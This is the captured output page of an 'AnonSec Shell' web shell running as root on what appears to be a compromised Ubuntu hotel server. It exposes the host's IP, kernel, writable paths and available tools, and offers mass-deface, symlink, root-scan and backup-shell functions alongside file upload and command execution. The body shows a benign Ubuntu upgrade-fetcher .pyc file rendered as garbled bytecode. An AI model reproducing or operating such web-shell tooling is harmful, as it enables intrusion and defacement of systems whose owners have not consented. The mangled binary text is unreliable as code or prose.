AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/DistUpgrade/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/DistUpgrade/__pycache__/DistUpgradeFetcherCore.cpython-310.pyc
o

t�d�1�@s�ddlmZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlmZddl
mZddlmZddlmZddlmZmZmZdd	lmZGd
d�de�Zedkroedd�Zed
e�dd��dSdS)�)�TemplateN)�gettext)�SourcesList)�urlopen)�	HTTPError�)�get_dist�url_downloadable�country_mirror)�readlinec@s�eZdZdZdZdZdejvZdd�Z	dd�Z
d	d
�Zdd�Zd
d�Z
	d"dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�ZdS)#�DistUpgradeFetcherCorez2 base class (without GUI) for the upgrade fetcher � http://archive.ubuntu.com/ubuntu�main�DEBUG_UPDATE_MANAGERcCs||_t�|_||_g|_dS�N)�new_distr�current_dist_name�	_progress�run_options)�selfr�progress�r�D/usr/lib/python3/dist-packages/DistUpgrade/DistUpgradeFetcherCore.py�__init__1s
zDistUpgradeFetcherCore.__init__cCs|jr
tj�|d�dSdS)z" helper to show debug information �
N)�DEBUG�sys�stderr�write)r�msgrrr�_debug8s�zDistUpgradeFetcherCore._debugcCs�d|jvrdS|jjdurX|�|jj�}t��}zt�d�t|�}|���	dd�}Wn't
y?|�td�td��YdSt
yR|�td	�td
��YdSwt�|�t�t|�ttd�dd
�t�}|�����td��rwdSdS)Nz(--frontend=DistUpgradeViewNonInteractiveT�zUTF-8�replacez'Could not find the release announcementzThe server may be overloaded.Fz+Could not download the release announcementz&Please check your internet connection.zContinue [yN] �)�end�y)rr�releaseNotesURI�
_expandUri�socket�getdefaulttimeout�setdefaulttimeoutr�read�decoder�error�_�IOError�printr�strip�lower�
startswith)r�uri�timeout�
release_notes�notes�resrrr�showReleaseNotes=s8


�
��
z'DistUpgradeFetcherCore.showReleaseNotescCst|�t|�dS)z� minimal implementation for error display, should be overwriten
            by subclasses that want to more fancy method
        F)r0)r�summary�messagerrrr-XszDistUpgradeFetcherCore.errorcCsv|jjr9|jdtj�|jj�}|jdtj�|jj�}ttd�tj�|�tj�|�d��|�	||�r9dSdS)N�/z0authenticate '%(file)s' against '%(signature)s' )�file�	signatureTF)
r�upgradeToolSig�tmpdir�os�path�basename�upgradeToolr0r.�gpgauthenticate)r�f�sigrrr�authenticate`s�


�z#DistUpgradeFetcherCore.authenticateNcCs@dg}|sd}|d|g7}|d||g7}tj|tjd�}|dkS)zx authenticated a file against a given signature, if no keyring
            is given use the apt default keyring
        zapt-keyz./usr/share/keyrings/ubuntu-archive-keyring.gpgz	--keyring�verify)rr)�
subprocess�call�PIPE)rr=r>�keyring�gpg�retrrrrElsz&DistUpgradeFetcherCore.gpgauthenticatec
Cs�tj�|jtj�|j��}ttd�tj�|��tj�|�s!dSz!t	�
|jdtj�|j�d�}|D]}|�|�q4|��WdSt	j
y]}zt�d|�WYd}~dSd}~ww)Nzextracting '%s'Fr<�rzfailed to open tarfile (%s)T)rArB�joinr@rCr4r0r.�exists�tarfile�open�extract�close�	ReadError�loggingr-)r�fname�tar�tarinfo�errr�extractDistUpgrader|s&��
���z*DistUpgradeFetcherCore.extractDistUpgradercCsHd|j|jjf|_}tj�|�s"|�td�td�dtd��SdS)Nz%s/%szCould not run the upgrade toolz.  z�This is most likely a bug in the upgrade tool. Please report it as a bug using the command 'ubuntu-bug ubuntu-release-upgrader-core'.T)	r@r�name�scriptrArBrRr-r.)rr_rrr�verifyDistUprader�s

��z(DistUpgradeFetcherCore.verifyDistUpradercCs�|�d|j�tdd�}t�}|jD]P}|js |js |jdks!q|j|vr'q|j�	|�r=|j
|jkr=|j|jvr=|S|j
|jkrcd|jvrc|j|t
|�d�}t||j�r]|S|�|j�q|�d�dS)	a
        try to figure what the mirror is from current sources.list

        do this by looing for matching DEFAULT_COMPONENT, current dist
        in sources.list and then doing a http HEAD/ftp size request
        to see if the uri is available on this server
        zmirror_from_sources_list: %sF)�withMatcher�debrNzno mirror foundr#)r rr�set�list�disabled�invalid�typer4r3�dist�DEFAULT_COMPONENT�comps�lenr	�add)rr4�default_uri�sources�seenr\�
mirror_urirrr�mirror_from_sources_list�s(


�
z/DistUpgradeFetcherCore.mirror_from_sources_listc
Cs�|�|j�r|�d�|�||j�}|r|St|�}t�}|j|d�}zt||j�s0td|��W|StyR}z|�d|�|jdd�}WYd}~|Sd}~ww)z�
        expand the uri so that it uses a mirror if the url starts
        with a well known string (like archive.ubuntu.com)
        ztrying to find suitable mirror)�
countrymirrorzfailed to download %sz url '%s' could not be downloadedr#N)	r3�DEFAULT_MIRRORr rqrr
�safe_substituter	�	Exception)rr4�new_uri�uri_template�mr\rrrr'�s&
����z!DistUpgradeFetcherCore._expandUricCsFtjdd�}||_t�|�t�d|�|jdkr(tj	�
dd�tj	�
dd�t�|j�}|j
jdurG|�|j
j�}tj||td	�d
�}||j
jdur�|�|j
j�|_tj||jtd�d
�}||��}||jkrtt�d|�d
Stj�|j
j�tj�|j
j�fD]}tj�|�r�tj�|�dks�t�d|�d
Sq�dSd
S)z. download the tarball with the upgrade script zubuntu-release-upgrader-)�prefixzusing tmpdir: '%s'rzDebug::Acquire::http�1zDebug::Acquire::ftpNzUpgrade tool signature)�descrzUpgrade toolzfetch result != continue (%s)Fzfile '%s' missingT)�tempfile�mkdtempr@rA�chdirrX�debugr�apt_pkg�configrc�Acquirerrr?r'�AcquireFiler.rDr4�run�RESULT_CONTINUE�warningrBrCrR�getsize)rr@�fetcherr4�af1�af2�resultrFrrr�fetchDistUpgrader�sF

��
��z(DistUpgradeFetcherCore.fetchDistUpgradercCsD|jg|j}t��dkrt�dddg|�dSt�|j|�dS)Nrz
/usr/bin/sudo�sudoz-E)r_rrA�getuid�execv)r�argsrrr�runDistUpgrader�sz&DistUpgradeFetcherCore.runDistUpgradercCst�d�t�|j�dS)Nz..)rAr~�shutil�rmtreer@)rrrr�cleanups
zDistUpgradeFetcherCore.cleanupc
Cs@|��sdS|��s|�td�td��dS|��s*|�td�td��|��dS|��s:|�td�td��dS|��sN|�td�td��|��dSzt�	|j
tj�sctd	|j
�}d
|_
|�|��WdSty�}z*|j
d
kr�|�td�td��WYd}~d
S|�td�td�|j�WYd}~dSd}~ww)NzFailed to fetchz=Fetching the upgrade failed. There may be a network problem. zAuthentication failedz_Authenticating the upgrade failed. There may be a problem with the network or with the server. zFailed to extractz[Extracting the upgrade failed. There may be a problem with the network or with the server. zVerification failedz[Verifying the upgrade failed.  There may be a problem with the network or with the server. zCan not execute '%s'�
zCan not run the upgradezyThis usually is caused by a system where /tmp is mounted noexec. Please remount without noexec and run the upgrade again.FzThe error message is '%s'.T)r9r�r-r.rHr�r]r`rA�accessr_�X_OK�OSError�errnor��strerror)r�exr\rrrr�sV
�
�
�
�
�

�
���zDistUpgradeFetcherCore.runr)�__name__�
__module__�__qualname__�__doc__rsrirA�environrrr r9r-rHrEr]r`rqr'r�r�r�r�rrrrr*s(

�'r�__main__zgot mirror: '%s'zghttp://archive.ubuntu.com/ubuntu/dists/intrepid-proposed/main/dist-upgrader-all/0.93.34/intrepid.tar.gzr
)�stringrrAr�rXrSr|r�r(rrJrr.�aptsources.sourceslistr�urllib.requestr�urllib.errorr�utilsrr	r
�DistUpgradeViewTextr�objectrr��dr0rqrrrr�<module>s8
�
��

Anon7 - 2022
AnonSec Team